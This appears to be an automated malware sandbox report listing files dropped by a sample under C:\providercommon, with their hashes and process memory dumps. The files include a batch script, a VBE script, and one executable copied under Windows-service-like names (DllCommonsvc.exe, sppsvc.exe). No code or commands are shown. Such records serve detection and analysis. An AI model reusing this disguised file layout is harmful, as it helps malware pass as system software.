Filesize
217B

MD5
81bad38859d9b4679a1b08f920b2503d

SHA1
6b41f15636ef7f076d0aaa336983b4aa0da81ee8

SHA256
868238e6d3a08626d30904df3cd686ce4378420797cdad9cadd7e51e9e22dc1e

SHA512
a1dc8987c938881d299644b0275e06a4d665fd9ce9dac700911dd7a22e9bfad8c443ee0cdf7bc63386983f56202561f98fc61a5b4cf3a44d6b61cff050b74819

Download Submit
C:\providercommon\0a1fd5f707cd16

Filesize
646B

MD5
1f26e836d8482d11172d798af939734f

SHA1
158ecd02781401edd55a98a1e405b019a541e6fe

SHA256
a711a1cf1e66f08f80412fcafe58e7cdd4e5fb8f600445b83f64742fba196600

SHA512
16d068b76f5303261d5ec909d323c5115bc74062e5625a20f6130b63bb5a06af6826b648bd77f76f468cef6083ee2693084d701c5443d8b0a8dbac3b40f61cf3

Download Submit
C:\providercommon\1zu9dW.bat

Filesize
36B

MD5
6783c3ee07c7d151ceac57f1f9c8bed7

SHA1
17468f98f95bf504cc1f83c49e49a78526b3ea03

SHA256
8ab782f0f327a2021530e7230d3aee8abbecb7eed59482a3a46e78b9e3862322

SHA512
c6012d4bfac1ed14d0fd9f0eabd0e1c3d647b343db292a907b246271d52a4b7469c809db43910ddba2e8c5045f9cb3d24d0af62d363281e6cb8b39ee94a183e8

Download Submit
C:\providercommon\DllCommonsvc.exe

Filesize
1.0MB

MD5
bd31e94b4143c4ce49c17d3af46bcad0

SHA1
f8c51ff3ff909531d9469d4ba1bbabae101853ff

SHA256
b5199d3eb28e7de8ec4a5de66cb339a03d90b297e2292473badaab98ade15c63

SHA512
f96658bd19b672fd84038bd7e95c89e14f4e6f84e3ce9c6fe3216861a41203406148c6a809c2ab350d0d6c5919c845f619deb1fc9b1f1814dfce87e566bc2394

Download Submit
C:\providercommon\DllCommonsvc.exe

Filesize
1.0MB

MD5
bd31e94b4143c4ce49c17d3af46bcad0

SHA1
f8c51ff3ff909531d9469d4ba1bbabae101853ff

SHA256
b5199d3eb28e7de8ec4a5de66cb339a03d90b297e2292473badaab98ade15c63

SHA512
f96658bd19b672fd84038bd7e95c89e14f4e6f84e3ce9c6fe3216861a41203406148c6a809c2ab350d0d6c5919c845f619deb1fc9b1f1814dfce87e566bc2394

Download Submit
C:\providercommon\DllCommonsvc.exe

Filesize
1.0MB

MD5
bd31e94b4143c4ce49c17d3af46bcad0

SHA1
f8c51ff3ff909531d9469d4ba1bbabae101853ff

SHA256
b5199d3eb28e7de8ec4a5de66cb339a03d90b297e2292473badaab98ade15c63

SHA512
f96658bd19b672fd84038bd7e95c89e14f4e6f84e3ce9c6fe3216861a41203406148c6a809c2ab350d0d6c5919c845f619deb1fc9b1f1814dfce87e566bc2394

Download Submit
C:\providercommon\DllCommonsvc.exe

Filesize
1.0MB

MD5
bd31e94b4143c4ce49c17d3af46bcad0

SHA1
f8c51ff3ff909531d9469d4ba1bbabae101853ff

SHA256
b5199d3eb28e7de8ec4a5de66cb339a03d90b297e2292473badaab98ade15c63

SHA512
f96658bd19b672fd84038bd7e95c89e14f4e6f84e3ce9c6fe3216861a41203406148c6a809c2ab350d0d6c5919c845f619deb1fc9b1f1814dfce87e566bc2394

Download Submit
C:\providercommon\sppsvc.exe

Filesize
1.0MB

MD5
bd31e94b4143c4ce49c17d3af46bcad0

SHA1
f8c51ff3ff909531d9469d4ba1bbabae101853ff

SHA256
b5199d3eb28e7de8ec4a5de66cb339a03d90b297e2292473badaab98ade15c63

SHA512
f96658bd19b672fd84038bd7e95c89e14f4e6f84e3ce9c6fe3216861a41203406148c6a809c2ab350d0d6c5919c845f619deb1fc9b1f1814dfce87e566bc2394

Download Submit
C:\providercommon\yTUdeXjbLOhnrN32dgrxVg.vbe

Filesize
197B

MD5
8088241160261560a02c84025d107592

SHA1
083121f7027557570994c9fc211df61730455bb5

SHA256
2072cc9a4a3b84d4c5178ab41c5588eea7d0103e3928e34d64f17bf97f3d1cc1

SHA512
20d9369dd359315848ea30144383a0bb479d86059fdbc3b3256ac84f998193512feb3b1799ab663619920c99fe7e0ebba33ada31a3855094b956fcd351c90478

Download Submit
memory/60-262-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/460-215-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/460-231-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/488-188-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/488-165-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/924-154-0x0000016C600E0000-0x0000016C60102000-memory.dmp

Filesize
136KB

Download
memory/924-161-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/924-176-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1124-169-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1124-186-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1252-253-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1280-171-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1280-190-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1388-252-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1436-264-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1548-180-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1548-162-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1792-258-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1848-232-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1848-209-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1948-197-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1948-213-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1988-191-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/1988-164-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/2516-266-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-168-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-187-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/2764-234-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/2764-217-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3096-238-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3096-218-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3280-174-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3280-159-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3316-160-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3316-184-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3432-166-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3432-185-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3568-219-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3568-225-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3600-261-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3600-222-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3844-257-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3928-263-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3932-170-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/3932-189-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4040-212-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4040-227-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4152-221-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4152-241-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4168-157-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4168-181-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4196-240-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4196-211-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4252-158-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4252-140-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4252-139-0x0000000000230000-0x0000000000340000-memory.dmp

Filesize
1.1MB

Download
memory/4352-255-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4416-236-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4416-220-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4424-265-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4520-179-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4520-156-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-223-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-214-0x00007FFD896E0000-0x00007FFD8A1A1000-memory.dmp

Filesize
10.8MB

Download